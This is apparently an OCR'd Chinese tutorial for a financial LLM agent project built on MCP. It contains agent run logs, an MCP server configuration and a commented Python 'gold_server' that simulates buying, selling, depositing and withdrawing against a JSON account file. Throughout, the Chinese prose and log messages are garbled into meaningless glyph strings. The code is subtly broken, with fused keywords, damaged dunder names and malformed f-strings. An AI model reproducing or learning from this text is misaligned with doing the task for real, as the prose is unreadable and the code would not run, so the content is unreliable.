BT 1T BEEXRYERE, Agent MEFIREIZER:

uv run main.py --run "S5 2025 FEHREREFHE, FBIT 200 =, FiaH markdown B T{E==E)H, "

{#F3 Ctrl+C R H
ERp=:

o HEMR Agent HIRES
o ERFIEMRRF

o HEBLIEBSANERR
SEmH:

Agent BRZZH

12RiE: 245 2025 FFRERIZLFHE, F8iE 200 =, FiEE markdown B T{E=SEH,

202X-0X-0X 02:51:55,375 - Financial_Agent.core.agent - INFO -

202X-0X-0X 02:51:55,375 - Financial_Agent.core.agent - INFO - I&IFAERIEIE...
202X-0X-0X 02:51:55,375 - Financial_Agent.core.agent - INFO -

202X-0X-0X 02:51:55,375 - Financial_Agent.config - INFO - v QWEN_MODEL Efc&E

202X-0X-0X 02:51:55,375 - Financial_Agent.config - INFO - v QWEN_API EBc&

202X-0X-0X 02:51:55,375 - Financial_Agent.config - INFO - v QWEN_URL E&&

202X-0X-0X 02:51:55,375 - Financial_Agent.config - INFO - v BOCHA_API_KEY E&c&

202X-0X-0X 02:51:55,375 - Financial_Agent.config - INFO - FrEnEEIEEEREE

202X-0X-0X 02:51:55,375 - Financial_Agent.core.agent- INFO - v IMAGE_MODEL: gwen-image-plus

202X-0X-0X 02:51:55,375 - Financial_Agent.core.agent- INFO - v IMAGE_SIZE: 1664*928
202X-0X-0X 02:51:55,376 - Financial_Agent.core.agent- INFO -

202X-0X-0X 02:52:00,615 - Financial_Agent.mcp.manager - INFO - MCP client #J#&{tH
202X-0X-0X 02:52:00,615 - Financial_Agentmcp.manager - INFO - )\ MCP server #fii&; Tools ...
202X-0X-0X 02:52:26,979 - Financial_Agent.core.agent - INFO - JIiZ; Tools ..

202X-0X-0X 02:52:26,979 - Financial_Agent.core.agent- INFO - 2% 6 At Tools
202X-0X-0X 02:52:26,979 - Financial_Agent.core.agent - INFO - & Agent sJFHTH: 5 4
(generate_image F SubAgent ZF)

202X-0X-0X 02:52:27,422 - Financial_Agent.core.agent- INFO - Ef0&; 1 4 Memory X{&
202X-0X-0X 02:52:27,423 - Financial_Agent.core.agent - INFO -

l=/ AgentResponse:

TEREA
m web_search
query: 2025 SFFHREZFH B EE GDP EK




S

HUAWEI

EF MCP 5 skills 19 Agent SC#-SLI8F A 2141

[WARN] Agent H{TEHH, FTEHFEZITEIFA

TH: web_search

28 {
"query": "2025 FHREZFRALLE GDP K RUWEF",
"count": 5,

"summary": true

}

BIEE—NRE (30 B EEMLE):

[1] approve - #tiELL T BiFH

[2] edit - fRIET ESHEHIT

[3] reject - AL T EiERE
BRARIRE @ANFSIHRESZIR): 1

l= DeepAgent:

TEREA
m web_search

query: 2025 FHELZFHBEE GDP IBK RUEH
v [web_search] 3=p%

l= DeepAgent:

TERER

m write_file
path: /workspace/2025_china_economic_outlook.md
content: # 2025 FEHELEZFAIB LG

## AR
2025 FHESZFIFERINEZFIREES, £ GD..
v [write_file] 525

= DeepAgent:

TEiIER
m read_file

path: /workspace/2025_china_economic_outlook.md
v [read_file] Fep%
ks 1 # 2025 FHREEFRBEE
2
3 2025 FEHEEZRFTEEH 5.0%H9E<, GDP BEIX 1402 B{Zit. SFEaiseEiift, S=rrlldgik
5.4%, FEAEEIRENH, ..

= DeepAgent:

TEiIER
m edit file
file_path: /workspace/2025_china_economic_outlook.md
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old_string: # 2025 FEFREZRFHB DL

2025 FEHAELFSEI 5.0%H9181<, GDP Si&iX 140.2 B{ZTt. SR EmaiFsiit, B=r= 8 5.4%, B
REBIRFND . FREFDINEREN, SHEARFHSIIEE 9.5..
new_string: # 2025 FEFRELZFA B L

2025 ZFH[E GDP X 140.2 H127T, BEEEIEE 5.0%, EiF=k"+HUR"KWEBir. &55aiT fisiaia. 58
B, SB=rmi8IK 5.4%pE5 |88, FREFIINERIK. .

BJLATE Financial-Agent-AtlasServer/workspaces 812, 24 RKAY markdown 324

[root@f3b3fc9739c2 workspaces]# pwd
'Financial-Agent-AtlasServer/workspaces
[root@f3b3fc9739c2 workspaces]# 1s
2025_china_economic_outlook.md
[root@f3b3fc9739c2 workspaces]# 11
1
2025_china_economic_outlook.md

¢
[root@f3b3fc9739c2 workspaces]# cat 2025_china_economic_outlook.md
# 20255 PESFRERES

20254 R EGDPIA140. 251250, RLLIRKS.ex, B "+ HA"NEEER. &£
E, fiREF-OmERK, SBRIHOE. HEE#EFERER, ALPHSKE
MBESEShEEH{RIBE. [root@f3b3fc9739c2 workspaces]# |

FETERRE. S8R, E=WIRKs. aES|
=

FNRARATAZE. Fir-EESSaEkE, =

222 X EEL ( 2H3E )

[EEIRZ BT REPL, #{TSHINE:
| uv run main.py --interactive
a5
uv run main.py -i
REEI RIS
o MINIEEFHIZ Enter RiX
o M exit 8; quit iBH
o N help ZEE#E]
o A node IR R B (EHERN )
ERmR:
o 5 Agent #HITZHINE
o SCRFIEIHFIALL
o REHHESHT
SERHINT, You KRAFEAN, SEXEEERETHES Agent HITBHIHERSDE
BN, WMNRFSLIEINHE, FTLEAA exit BH:

Agent X EEL

IHEIER: memories/conversation_history.json




S

HUAWEI ETF MCP 5 Skills B9 Agent SCEe-SEIG AR 16T

2R B exit/quit iBH, help &E#EED

You: help
AT

help - ERICEIER

exit/quit/q - IBHEREEL

node - T RS (debug 1Ex)
HiEge:

LETEEL - NSSHSEEA
Ctr+C - EGEZtaA

You: SRHMNES0E

tIEERE.. [KEEXmAE N EIZERIFASEL Crl+C I BHEE]

l=/ AgentResponse:

TERIEHR
m get_weather
city: #ull
v [get_weather] 52K
! EERE.. [(KETEEmAEN EIZERIFTIASEL Ctri+C IBHEIE]

l=/ AgentResponse:

MMSKERS: PR, SiE 26°Co

You:
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3 &R EB-MCP it

3.1 SEUE9 4R

3.1.1 XFASLLE
AN BUNEIECE MCP X4,

3.1.2 LI B/
o IEfE MCP NEARFIE,
o IHfE MCPHIBEAR.
o EEAR[E MCPIEEX .

3.2 MCP iRS52E8E
3.2.1 BEECAB

MCP BR352EECETE Financial-Agent-AtlasServer/src/Financial_Agent/mcp/mcp.py:

importos
from pathlib import Path

# MCP fRSS=RELE
MCP_SERVERS_CONFIG = {
"fetch": {

"command": "uvx",

"args": ["mcp-server-fetch"],
"transport": "stdio",
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L
# HERSHFRSS

"gold_server": {

"command": os.sys.executable,

"args": [str(Path(__file_ ).parent / "servers" / "gold_server.py")],
"transport": "stdio",

2

# B OEERS (6 MCP iRSS=E)

"stock_server": {

"command": os.sys.executable,

"args": [str(Path(__file_ ).parent / "servers" / "stock_server.py")],
"transport": "stdio",

L
# iiN worldbank E2&

"worldbank": {

"command": "npx", # B¢ "worldbank-mcp"

"args": ["-y", "worldbank-mcp"], # WIRRESH, RIF=TTIE
"transport": "stdio"

b

}

UOFBFINATRISEE, TLUXRHE IR

"new_server": {

"command": "docker",

"args": ["run", "--rm", "some-mcp-server"],
"transport": "stdio",

}

3.2.2 MCP &5
{i79F./Financial-Agent-AtlasServer/src/Financial_Agent/mcp/#&2 T :
mcp.py: MCP fRSZ=RECEANO
o FEM MCP_SERVERS_CONFIG F &

o 32#F Python BIAFIE<SITTE (uwx/npx)
o BEMERIIEES MCP iRS:E
servers/: MCP R$328LMBER

o R MCP BRS588RT Python

o {#F FastMCP {EZRIRIEFA

o Z#F Tools. Resources. Prompts =t—{&
manager.py: MCP EIEgE

o load_mcp_tools(): hnE MCP TH

o get_resources_info(): IRECRIETTEGE

o get_prompts_info(): FREURRII=EEE
o S5OEFNG, BREESIEE
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o HeeRELIE (WBHEIRvs HIERE)
mcp_resources_prompts.py: Resources/Prompts {EHEERE]

o get_mcp_resources_info_for_prompt(): A% Resources 127xia
o get_mcp_prompts_info_for_prompt(): 4Bk Prompts 12713

o f# config.py A9 generate_system_prompt() iEF

adapter.py: MCP i&fC2:

o ¥ MCP I E%&#)9 LangChain F#EER

o AIEBETHBARNSHGLIR

323 TEXR%

{i7F./Financial-Agent-AtlasServer/src/Financial_Agent/tools/F{Z T :
tools.py: EXEETH

o {#M @tool %EimzE

o XIFHTENXTERREZIN

registry.py: TEB#ITAM

o {#H functools.lru_cache ZEFTHYIE

o HBEEIAM tools.py FHIFFETE

o I2Mt NATIVE_TOOLS &4t Agent fEH
mcp_tools.py: MCP T HiEfcss

o 1§ MCP RSSRITHEH#E) LangChain TH
o KHE MCP TERYFREREER

3.2.4 BEXSEIZRS MCP IR53EE
BT LEEEXSMI—ESIRFRS, 85!

MCP B4 B ESid] Ihge
11 RIE account://status Resource | AR (RiE)
41MTH buy_gold, sell_gold, deposit, withdraw | Tool TR ZIRE (15 )
1 MR instruction_manual Prompt | #ZF$55 |1k
1T NMFAMSUSE | gold_account.json HIEE | WREIRSAEE
BEgE:

Al Agent 2 <— MCP #MY (stdio) <— MCP Server #2 (A315)
t
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| gold_accountjson (3R L1FiE)

(CRBfET:

HEXBHFRS - MCP RS

Inge: B LESEERZFA,, REESXE. FEERERETE
MY : MCP (Model Context Protocol), &Y stdio 5 Al Agent &5
HiE: WHERIFAFMETE gold_accountjson Z{FH

# ===== === e e e e e e e e e e e e e e e

# %180 KHMSA

# ===== === e e e e e e e e e e e e e e e

importjson

# json &R AFKFHIENFSIME (Python B — JSON F&F& ) FIRFFIL (JSON FFEH —
Python =FE8 )

# 1EF JSON AEEHERE (40 SQLite ) RIRE: HFHREIESNR/)\, JSON FlEitR, FAETEETH
XHREIELT

importos
# os 1ER: AFHE gold_accountjson R BRTFLE (ospathexists ) , SEIEHIIAIZ S

from mcp.server.fastmcp import FastMCP

# FastMCP: MCP XA Python SREFEAELR

# CISEER JSON-RPC BEHTMZRNEINEE (@mcp.tool(). @mcp.resource(). @mcp.prompt() )
# FARERZXTWEBEE, TEHIEMNURERD. EEEESREAT

from pathlib import Path

# Path: HEHENIRAISGIRZALIESE

# Path(_file_).parent SREXZHBIAFTEERAVEIIIRE, B TIEFERER ( TIENBEER, BEE
1E#)

# | BAEFHEEHNEENEE, FMT ospathjoin() (EEEWANE

# === === s s e p———

# 285 MCP IRSH|EFUCSEIRN M EN

# === == e e e e e e e e e e ]

# 63 MCP [RSBEELHI, "EHERBHUF AR RIRS[BHNE—IRRZTR

# £ mcp.py BCEX/HH, "gold_server" 2EFif5lSE, FEHFRERSEEEIZNR
# 3 Agent JEF read_mcp_resource("gold_server", "account://status") HJ:

# — MCP ZEFumiEd "gold_server" ¥HEEZEE

#  — MABAN "EERZHERR" BRSSHIERESK

mcp = FastMCP("HEERZHFZRAR")

# HIREHEER: SRIBIATEER T gold_accountjson

# Path(_file__).parent BYfE92E{EL /project/src/Financial_Agent/mcp/ FI4EXTE&IZ
# | BIERS R Path EEHMIREHHER, REREEM:

#  /project/src/Financial_Agent/mcp/gold_accountjson

DATA_FILE = Path(__file__).parent / "gold_accountjson"
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# = s — =_-= - s —————————————————————
# 5 3Ep9: WPEIEZFAME (load_account / save_account )
# = e — === et ———————————————————————————

def load_account():
MK PEE (EmadEC )

TiEmAE:

1. #8638 gold_accountjson E2HFE

2. MRAEFE (BRE1T) — IERARPHERE
3. MREFE — ZEFHREIMRFHIE

IR [EHERA:

{
"account_id": " LiE&",
"cash_balance": 100000.0,
"gold_weight_gram": 166.67,
"currency": "CNY"

}

# os.path.exists(DATA_FILE): HMBEHIENHEB/FE
if not os.path.exists(DATA_FILE):
# ========== FIRIEIT: BIBBNAIKR ==========
# HFERIT: "RERATERE
# 10 Fil& + 166.67 7iaE x 600 55/5%2 =~ 100,002 5t =~ 10 BT
# NEEEZLBETHL 50%, AIYEEEER

initial_data = {
"account_id": " ig&", # WHRR, B EBEER 2P
"cash_balance": 100000.0, # MERE (ANEMT)
"gold_weight_gram": 166.67, # B2t (%)
"currency”: "CNY" # itiheem (ARM)

}

# MBAMSFANEISS, HREIE—EE

save_account(initial_data)
return initial_data

# ========== JEERIET: NLHHEEY ==========
# encoding="utf-8": EXIEERID, FRHPXABIEHIEE
# json.load(f): ¥ JSON MHAHBRFEFFILA Python FE
with open(DATA_FILE, "r", encoding="utf-8") as f:

return json.load (f)

def save_account(data):

R P EUREISS

Args:
data: MKFEUEFH, €02 cash_balance. gold_weight_gram Z=E%
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SASHIRA:
- indent=4: #gi 4 NTKE, {6 JSON HRETEM . AT HE
FHNEEF TSGR 3P HI20m
- ensure_ascii=False: {(REBHFXFFHEFHL (W "EiBE") ,
mAEEE N J9 \u4EOA\u6D77\u91D1

# with IBORERXELICERRE S 1EfRXA
with open(DATA_FILE, "w", encoding="utf-8") as f:
json.dump(data, f, indent=4, ensure_ascii=False)

22|

# - —_= e — —_—= ===
# %8 4EB9: MCP Resource (&R ) - RiE&Eif
# = =_—===="= === st —————————————————————————————

# @mcp.resource 2EiMmeEs: EEEHGEMSA MCP &R

# WERERIZM (LTRWER ) , 25tk RESTful APl BY GET &K

# URI "account://status" i&{& RESTful Xf&: Mk — K&

# Agent 1@1d read_mcp_resource("gold_server", "account://status") i

@mcp.resource("account://status")
def get_account_status() -> str:

BEISEERFNRERGSESHEERR

LEXASFRFRRE MCP ESMIEARIRIEIAREES Agent,
Agent IRIERRETESEALLEIR

Returns:
BRI IRSERTE, B2WF ID. RERE. SSHEE
# DNEEFIRPEUE ( 2REBASIEEEY, FfREURCaTE )

acc = load_account()

# IREISHIMK RS F B
#,.2f 1 FTRUDIRA + (RERAL/INEL
# 1000000 — "100,000.00" ( £REIEERAVTIARAERT )
return (f'--- PR [{acc['account_id']}] ---\n"
f"IIEREN: {acc['cash_balance'];,.2f} {acc['currency'l}\n"
f"E & fiE5S: {acc['gold_weight_gram']:2f} 7=2")

# = ===== === ====== ==

# 5% MCP Tool (THR) - TAES

# = ===== ==

# @mcp.tool() iMmes: BREEMA MCP TH

# TEBEIWER (B12E) , 2tk RESTful APl B9 POST/PUT &k
@mcp.tool()

def buy_gold(amount_grams: float, current_price_cny: float) -> str:

ERNELINES,
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EHEIZIT: current_price_cny HIERT (Agent) fEN, MIEIRSSEEPIZBIREN
AT K ERDE"EN:

- MCP fr5338: RAEWFPEERZRZMT

- Al Agent: REBITEMTE (web_search. get_gold_price ) SKENSERHNHS

:param amount_grams: SAENHEE T
:param current_price_cny: HeimiaEN (Ot/5=), B Agent MIMEBIREX

# MNERFWARTES (FHERE: BRRZREENRMNE, PLEF AT )

acc = load_account()

# HERBEMA: =H x B

cost = amount_grams * current_price_cny

# ====== NIZRIBRI: B, FIRIE (Check Before Act) ======
# ERARFRE: THOWHIFIRIEZR, BIUERIEREERTTE
if acc["cash_balance"] < cost:
# REAE — MEMREIEM, FHITIHIRSER
#,.2f R FRMNDIE + WA/, EFRIERAEER
return f"RZEKM: REAARE. FE {cost;,2f} T, HFIREN {acc['cash_balance];.2f} T, "

# ====== PITXH (FEFIRIEEH] ) ======

# HELEMERESD, XBEEMNZE—MEUEESS (BEA2MRI, BALMOR)
# LAMBIE M AEFE . B—RXESNXESRIEURF 4%
acc["cash_balance"] -= cost # @O WL (H0F)
acc["gold_weight_gram"] += amount_grams # @ EH£EGEN

# FAWENR (RSB R "HE )

save_account(acc)

# IROIRRSZ O, BETENRRZAH
return (f"32Z2 0! \n"
f"SENEE: {amount_grams} F2\n"
" B3R {current_price_cny} J5/5=\n"
f"IEEEEN: {cost;,.2f} FT\n"
" YEIFEES: {acc['gold_weight_gram']:.2f} 5&")

# e e e e e e e e e e e e e e e e e e e e e e e e e e e e

# E 625 MCP Tool (THR) - E4ES

# = ===== === e e e e e e e e e e e e e e e

@mcp.tool()
def sell_gold(amount_grams: float, current_price_cny: float) -> str:

SHESLIREIE
SN, EXESERRE (RIEEESFOMmIFNESRET )

:param amount_grams: SREHHIES T
:param current_price_cny: Haitiz2M (7t/5E)
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# INEERFHKAIRS

acc = load_account()

# ====== REBERY: BHORBRHESIATR ======
# RRIR ESIHO T MR — (RN EES
# R BRI A

if acc["gold_weight_gram"] < amount_grams:
return f'3X5KW: BLEBATE. S50HFS: {acc['gold_weight_gram']:2f} 7=, "

# THERZWAN (B revenue MIF cost, iEXEIE )

revenue = amount_grams * current_price_cny

acc["cash_balance"] += revenue # @ M (WEx)
acc["gold_weight_gram"] -= amount_grams # @ EHZIFCRELD

# FAWEN

save_account(acc)

# REIRZEH ( BRI ESFTFIEFHEIMERE )
return (f"32Z2 0! \n"
f"SEHHE&: {amount_grams} g\n"
"B ERAAY: {current_price_cny} 75/58\n"
fUIRANEER: {revenue;.2f} Jt\n"
" YRS SEN: {acc['cash_balance'l;,.2f} JT")

# = ===== === = ==

# B 755 MCP Tool (TER) - 72k

# = ===== === e e e e e e e e e e e e e e e e

@mcp.tool()
def deposit(amount_cny: float, description: str = "") -> str:

AKFFEARE .

description AIESHATICREFFRE (W"¥IEAZ". "EBIMRIES")
EERART, XPFIEHITERIXREER

:param amount_cny: FAEE (735)
:param description: FFXi%AE (A ) , AT EHIHEE

# DOEM—
acc = load_account()
# FAR(E: T LIRIRSI (BFHEIR AR )

# i1 BEXRFOREEEREE (AML) 8. KX ZIREESTRE
acc["cash_balance"] += amount_cny

# FAK

save_account(acc)
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# IREIER
#+ SEI%: EHETREERAN, EEMNNERR
# EHFIAN: EEFRNERSEET, TEERNAER (BEe=1T)
return (f"EsERID! \n"
f"IEANEEN: +{amount_cny:,.2f} {acc['currency']}\n"
" HEIIEREN: {acc['cash_balance'];,.2f} {acc['currency']}"
+ (f"\n 152BB: {description}" if description else ""))

# —— — —— — —_—— o e o e . e e o e . S o e e e e e e — i — — —
# 5 83R5: MCP Tool (TH) - BIX

# === === ==== ===

@mcp.tool()

def withdraw(amount_cny: float, description: str = "") -> str:

MIKFEUEEIE
SEXIER, (BEINT R ENXESE

:param amount_cny: BXZREE (7T )
:param description: BYFXiZEA ( BIiE ) , FAFHITHELR
# INEMKF

acc = load_account()

# ====== NIZFIERI ======
# (MRRMERE, FERESHC
# REBEEBPHESHAR: S22, Spigd. ZaEs0
if acc["cash_balance"] < amount_cny:
return (f'BGREM: REAFE. "
"FZ|E {amount_cny;,.2f} {acc['currency']}, "
" UB1RER {acc['cash_balance';,.2f} {acc['currencyl}. ")

# PATEGER (30FR)
acc["cash_balance"] -= amount_cny

# FAK

save_account(acc)

# IREIZER

# - SEIR: PRERASRE, SEA + SEAXITR

return (f"BXERERID! \n"
f'ERE £ -{amount_cny;,.2f} {acc['currency']}\n"
" HUEIIEREN: {acc['cash_balance'];,.2f} {acc['currency']}"
+ (f"\n 152B8: {description}" if description else ""))

# 5 9% MCP Prompt (28R ) - 55|

# === === st
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# @mcp.prompt() #imEE: FEREGEMH MCP IRRIEIR

# IRTEIRETNENIIES EER, A4 Agent IIELGREUS U AVR(EISR
# STEARE, B ERAHITIRIE, MaRE" FmEEN"

@mcp.prompt()

def instruction_manual() -> str:

REXFIESWS, (AR ) RITHREN BIHRIFINE .

HHRREREE=1BEX:

1. GHE: BRFRELAEARFARE (KIZHE )

2. PUTE: AN LiBEESRZEERAERIMNTE ( SIERIFEEXR )
3. ¥BE: 3ISEENMRSEHEMRE (HEHMES )

return (
# FAEBISTE: 1§ Agent EASRBFEER
"RE—MNEMHFEER. BAFENER MCP TEAMR(ERRZ: \n\n"

# ====== GHIE: BIENE ======

# EF"RERIIIE. BEEHIT"NESMZZ IR

" [ RERE- A UEE ] \n"

"SRR ERIEEBN SRR ~\n"

"1, RVERIEIE: (EH "account//status’ BEEHEIMENEERE, WARSTLUPITRIE. \n"
"2. B{EEEIE: BIX{ER “account//status’ IGIHRIFER, HHIASUEZHIEE. \n\n"

# ====== PUTE: MEIREURIE ======

# BBRERMN EEE SRS FTREECATNTE (Au99.99 BMEEEESLILHE )

# EENMEREBINEBREUSEN , MIEEREINEERE

" [ EZE ]| IEHUTROISESER(EZR, YRSCREEFRIESMNIE: \n"

"1. {EF “fetch® MCP THipid https://www.sge.com.cn/ EBEEZZFAEM\n"
"2. NREIRENEEA Au99.99 3% Au99.95 EEME (JT/57= ) \n"

"3, EREBEIINIBIERSEUEN "buy_gold® T “sell_ gold® TH\n\n"

# ====== JNEGBH ======
" [ FINEE ] \n"
"1, *ERYEIE A “account//status’ RREFIRIAVIEMEE . \n"
"2. *{FEE™ \n"
- 758 {#H “deposit TH, EAWEEKF, \n"
- BYER: M “withdraw® TH, MWIKFPEEIIE, \n"
"3, HEHIR S \n"
- EN: {F/A ‘buy_gold” TH, *RREANN LIEEERZFTREIISEHEMN (7T/5=) - \n"
- SEH: {FA ‘sell_gold” TH, “HHEAN LBEESXZFHREIEHMEMN (7T/57) -

\n\n"

#====== HBER: HEHMES ======

# S5|SZEIERE: DA = g + BEERH x ZHEMN

# BMED - BEEDN — RERS

"SRR EMRLENEIZEEDET, HRE” (S + &S5k * TSN ) B9
o "

"BRT AR, PUTHUEERIEE AR ERHIRN NS "
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F27]

# ===== === sS===== ===

# %1089 MILEITAL

# === === sS===== ===

# Python fREANOSFE:
# - YR EEEETTAY ( python gold_server.py ) — 251 MCP ARS3EE
# - BHES RS (importgold_server ) — AB&IEH, {N2E mcp LAl

if _name__=="_main_":
# mcp.orun(): /251 MCP PRSZSEE1EIR
# BRS2EFIRIEITARERIN (stdin ) , ##4HF JSON-RPC &3k
# RIEEREEERN N TR/ RIRRE
# BEREINERDE (stdout) REIZE MCP ZFin (BD Al Agent)
# XNHERIFEET, BEARINEELE
mcp.run()

3.2.5 SLiiEfT B
BMANTIES:

uv run main.py --run "

>> BRI T LRI FEEKF:
>> 1. SEEARFRES

>> 2. IREVHRIEAMN

>> 3. {&IUSEN 100 seeas

>> 4. WIERBER "

2!

Agent BIR3ZH

R

>> BT RIREES KA
>> 1. SEERRFIRS

>> 2. SRENHEISM

>> 3. {RHIEN 10 TEE

>> 4. IGUFRFEER

YY-MM-DD 13:16:48,315 - Financial_Agent.core.agent - INFO -

YY-MM-DD 13:16:48,315 - Financial_Agent.core.agent - INFO - I&IF4EHYEIE...
YY-MM-DD 13:16:48,315 - Financial_Agent.core.agent - INFO -

YY-MM-DD 13:16:48,315 - Financial_Agent.config - INFO - v QWEN_MODEL BEE
YY-MM-DD 13:16:48,316 - Financial_ Agent.config - INFO - v QWEN_API Efc&
YY-MM-DD 13:16:48,316 - Financial_Agent.config - INFO - v QWEN_URL Ef&E
YY-MM-DD 13:16:48,316 - Financial_Agent.config - INFO - v BOCHA_API_KEY E&&
YY-MM-DD 13:16:48,316 - Financial_Agent.config - INFO - BV ERIIEIE R E

YY-MM-DD 13:16:48,316 - Financial Agent.core.agent - INFO - v IMAGE_SIZE: 1664*928

YY-MM-DD 13:16:48,316 - Financial_Agent.core.agent - INFO - v IMAGE_MODEL: qwen-image-plus
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YY-MM-DD 13:16:48,316 - Financial_Agent.core.agent - INFO -

YY-MM-DD 13:16:49,757 - Financial_Agent.mcp_servers.manager - INFO - MCP client #J3&{t
YY-MM-DD 13:16:49,757 - Financial_Agent.mcp_serversmanager - INFO - A MCP server HfiNZ;

Tools ...

[MM/DD/YY 13:16:50] INFO Processing request of type ListToolsRequest
server.py:713

[MM/DD/YY 13:16:50] INFO Processing request of type ListToolsRequest
server.py:713

World Bank MCP Server running on stdio
YY-MM-DD 13:16:54,114 - Financial_Agent.mcp_serversmanager - INFO - Ef#tr 18 4 Tools all

[MM/DD/YY 13:16:56] INFO Processing request of type ListResourcesRequest

server.py:713

INFO Processing request of type ReadResourceRequest
server.py:713
[MM/DD/YY 13:16:57] INFO Processing request of type ListResourcesRequest
server.py:713

INFO Processing request of type ReadResourceRequest
server.py:713

World Bank MCP Server running on stdio
YY-MM-DD 13:17:02,098 - Financial_Agent.mcp_serversmanager - INFO - Ef#tt 2 4 Resources

resources:all
[MM/DD/YY 13:17:04] INFO Processing request of type GetPromptRequest
server.py:713
[MM/DD/YY 13:17:05] INFO Processing request of type GetPromptRequest
server.py:713

World Bank MCP Server running on stdio
YY-MM-DD 13:17:11,480 - Financial_Agent.mcp_serversmanager - INFO - Ef#tr 2 4~ Prompts

prompts:all

YY-MM-DD 13:17:11,492 - Financial_Agent.core.agent - INFO - JIIE Tools ..

YY-MM-DD 13:17:11,492 - Financial_Agent.core.agent - INFO - Efl& 6 N7 Tools
YY-MM-DD 13:17:11,492 - Financial_Agent.core.agent - INFO - £ Agent JFHTHE:5 4
(generate_image F SubAgent ZFH)

YY-MM-DD 13:17:11,942 - Financial_Agent.core.agent - INFO - 2512k 1 4 Memory {4
YY-MM-DD 13:17:11,942 - Financial_Agent.core.agent - INFO -

@ AgentResponse:

HBERBRENER, ZERFEEIKF . IEERFHeRTXNN SR,

Bt, SSmKFRES:

TEREA
m read_mcp_resource
server_name: gold_server
resource_uri: account://status
[MM/DD/YY 13:17:16] INFO Processing request of type ReadResourceRequest
server.py:713
v [read_mcp_resource] 52h

= AgentResponse:
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W, FBRBEmEM:

THIEHA
m gold_server_get_gold_price
[MM/DD/YY 13:17:19] INFO Processing request of type CallToolRequest
server.py:713
INFO Processing request of type ListToolsRequest
server.py:713
v [gold_server_get_gold_price] 5Spk

l= AgentResponse:

WE, BRENZIN 10 &S, IRIBISRIEM Au99.99 J3 892.00 Jt/52, ML 10 5BFHRE 8,920.00 jt. MKF
HEREN 40,13500 7T, REFRE, ALISTZHARS .

IEFEHATIRIASENIRAE...

THIER
m gold_server_buy_gold

amount_grams: 10.0

current_price_cny: 892.0
[MM/DD/YY 13:17:23] INFO Processing request of type CallToolRequest
server.py:713

INFO Processing request of type ListToolsRequest

server.py:713
v [gold_server_buy_gold] 25k

l=/ AgentResponse:

&E, RERIRZER, BAEEKFRES:

TEREA
m read_mcp_resource
server_name: gold_server
resource_uri: account://status
[MM/DD/YY 13:17:28] INFO Processing request of type ReadResourceRequest
server.py:713
v [read_mcp_resource] 52

l=/ AgentResponse:

CEEWFRFETR, WIEERNT: »

1. PR PR IAES
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- £ 5% 40,135.00 CNY
- EEES: 26667 =

2. *HEIEM*: Au99.99 BIEREEMNIEH *892.00 JT/5=™

3. MEIUENIRE:
- IANEE: 100 &7
- FEAZEA({): 892.00 JT/7E
- EESEN: 8,920.00 TT

4. *ZZ S EMPIRES:
- MEHET: 31,215.00 CNY (&7 8,920.00 7T )
- EShER: 27667 = (1EI0T 10035%)

PrELRIIEKINMN, RBERERIELIR.

BHERSBEASEEED AU RILES:

1. EIESIEE

- QWEN #&2EY API (IB X Fid)

- BOCHA_API_KEY (&)

2. MCP YR

-18 4 Tools (TH)

- 2 " Resources (i)

-2 4> Prompts (F&7RiEt&ER)

3. BERSHNTE

- read_mcp_resource: ZHMFIRZS

- gold_server_get_gold_price: $REXSERT &
- gold_server_buy_gold: EEHENES

4. FEREIIESEH

- RSR1RIREXILL

- SEM(EIERI A RY

FRINFERFTE TN, Fiah TEMLAvEeIER S .

3.3 LG EE

@& : MCP ( Model Context Protocol ) TEAZZHAWER 2+ 4? WA MCP, BEiZ(E
F RESTful APl Sy REEABELBHARRE?

/,—‘-—l—|_
B=x:
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MCP EAR RS FHIER:

1. WRELBE: YT AlAgent 5STERSS 22> ARIBSHNY

2. HFERRES: Al Agent 1 MCP Server iIZ{THEAREIHIE, BEAS

3. BETX: MCPServer Af{HTIES L ( Python. Node.js. Go &)
4. HZ—kU: BEECERIAIZANAY MCP IRS538, TEIEHX Agent U5
5 RESTful API XLk :

LT MCP (stdio) RESTful API R E0E R
BEAIL | #HiZEFRE /O HTTP M£&153K HIZWER
HEESXE | @R (FANEHE) | E2 (ENEEE) | @R

IBEREE | & (HTES = ({HTES € ((NEES
SEME | B (EWEER ) | 1 (WEBIER ) ]
HiEfRE | 2 = &

3.4 IR EEE
ARSCISHIFE T —ETF MCP ( Model Context Protocol ) MY VB SR ZHF RS, LM T
AT O BFx:

1. MCP RSZEE2HMIIEME: EiE T MCP IRSB==RECER X, IEE T stdio B4 T Al
Agent 5 MCP Server Z[alfiSHFZENESHE

2. =JT—{K MCP {B{4-3CHR :
Resources (&iF ) : SLIRIEHEESA ( account://status )
Tools (TR ) : SCINEEEME (EAN. ZH. 7K BER)
Prompts (327~ ) : SEII#CFISS [#&HR (instruction_manual )
BFAEE: (R JSON SUASCHIK PEURRVSAFE, SFEURTEIRSS SFEREIRA
x8.

4. XEEHERIT: MEIREX (Agent £asE ) SR FH11T ( MCP Server a5 ) RYERE S
B, AT BRIFNRAZHDIZIT .
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4 BERAME-Skills 121t
4.1 SCIG e

4.1.1 XF AL

ARSLIG R ANMIEC & Skills 315,

4.1.2 LIS BARY
o IEfR Skills BUEANFRIE,
o EIRA[E Skill BuBLA M ST,

4.2 EE1TIEESS Skill
421 (ERHS

FA Al BE—RESFHRATIMTSFHEREE, iZ Skill B812: ./Financial-Agent-
AtlasServer/skills/industry-research-with-image/,

iR
4R {4 3ERY 2R AR
TEH web_search BEMESR, REGEEM

SubAgent writer-agent BRI ZESIE Agent
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SubAgent image-generator-agent | Al BI{&&RL Agent
4.2.2 Skill SZ{4-£5+3
4.2.2.1 SKILL.md
N
BUEETH Al £ EGRITWIARIRS , BIIRSHE TERE SR MR RN g2,
TERAR:
E| S (TS pe
* fs5F8 write_todos HIEFHLE T
MY SHER | - EXIRESEN (5I5/IEX/4EL)
1 workspaces/report_framework.md

Bl MYBFNE. FAFISESE
« {R1FHELZEE) markdown 3214

- BRAEPHEX
« {58 analyze-company 548

2 | (ERME  BIEER web, search ( FiAS ) BEDEMINEE
- ABTETWERRE
« {#H image-generator-agent %
L

3 | e&ERBR | - BRERERMEIXIER pic/*.png BRI

« i workspaces/pic/ BR
« (FRERMESHSE

* {#H writer-agent 2
BREREA | o EEUERXG TRE RS

4 = . BEEREERES s workspaces/report_draft.md
< BER NR/MESMLE/ NA/RE
- KIFFrBE RS AEER
FNEES | ElRSIBREI: [HER] (./pic/SXfHF |
5 - £.png) workspaces/final_report.md

« BBRAE workspaces
- WIBEREANTEER

KRN, BEIRRF, A

MEINESR — WEERE — £ER — BERS — &R
1 1 1 1
EXEE WEME CSEER EBEXRERSE
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{ +E A&

